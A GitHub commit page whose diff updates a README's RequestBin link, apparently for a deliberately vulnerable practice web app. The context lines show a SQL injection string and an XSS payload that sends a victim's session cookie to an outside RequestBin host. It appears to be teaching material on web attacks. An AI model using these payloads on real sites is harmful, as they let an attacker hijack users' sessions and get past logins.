Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
lambdacasserole authored Jun 11, 2019
1 parent 07b8b7e commit b474f0d
Showing 1 changed file with 2 additions and 2 deletions.
4 changes: 2 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -69,12 +69,12 @@ foo' or '1'='1
```

### Session Hijacking (XSS)
Using a service like [RequestBin](https://requestb.in/) it's possible to hijack user sessions by capturing their session cookie. Try sending a message to a user consisting of the following code (with `{{ bin_id }}` substituted out for your RequestBin bin ID).
Using a service like [RequestBin](https://requestbin.fullcontact.com/) it's possible to hijack user sessions by capturing their session cookie. Try sending a message to a user consisting of the following code (with `{{ bin_id }}` substituted out for your RequestBin bin ID).

```html
<script>
var xmlHttp = new XMLHttpRequest();
xmlHttp.open("GET", "https://requestb.in/{{ bin_id }}?c=" + document.cookie, false);
xmlHttp.open("GET", "http://requestbin.fullcontact.com/{{ bin_id }}?c=" + document.cookie, false);
xmlHttp.send(null);
</script>
```
Expand Down

0 comments on commit b474f0d

Please sign in to comment.